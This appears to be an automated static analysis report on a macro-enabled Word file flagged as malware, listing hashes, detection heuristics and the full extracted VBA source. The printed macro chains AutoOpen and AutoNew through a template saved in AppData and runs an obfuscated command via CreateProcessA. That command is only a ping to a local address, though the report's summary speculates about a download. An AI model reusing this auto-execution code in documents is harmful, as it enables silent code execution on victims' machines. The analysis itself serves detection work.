Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f2144e1363a135fb…

MALICIOUS

Office (OOXML)

25.4 KB Created: 2021-06-30 14:27:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 84c73e5d72345886b950e8f2e2065610 SHA-1: a8cc3e8dc923365e8214ba550c13d7e473b075bd SHA-256: f2144e1363a135fb150b7e32e09a5e1e54cbbcf4f2e1a710b8ae036f0660fa79
198 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro and VBA p-code auto-execution heuristics indicate that the embedded VBA code is designed to run automatically upon opening the document. The script uses the CreateProcessA API to execute a command, likely to download and run a second-stage payload. The presence of the 'macros.bas' and 'vbaProject_00.bin' artifacts further confirms the macro-based nature of this threat.

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-10012625-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10012625-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
    Dim curfile As String
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"
    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2600 bytes
SHA-256: eb13d1af1b6d10fc55c910675b4dbba130439c1ef463323454be40c088ad5d14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Option Explicit

Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type

Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long

Private Declare PtrSafe Function CProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&


Public Sub EC(cml As String)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ReturnValue As Integer


start.cb = Len(start)


ReturnValue = CProc(0&, cml$, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)


Do
ReturnValue = WaitForSingleObject(proc.hProcess, 0)
DoEvents
Loop Until ReturnValue <> 258

ReturnValue = CloseHandle(proc.hProcess)
End Sub

Sub autoopen()
    Dim curfile As String
    Dim templatefile As String
    curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"
    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True
    ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled
    Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub


Sub autonew()
EC "pi" & "n" & "g" & "19" & "2." & "168." & "1.8"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 34304 bytes
SHA-256: 4b24cc38d9f84ffcecf009d8cf07ff898d2e1fc8e27640fc6b191087f6ce125c
Detection
ClamAV: Doc.Malware.Valyria-10012625-0
Obfuscation or payload: unlikely

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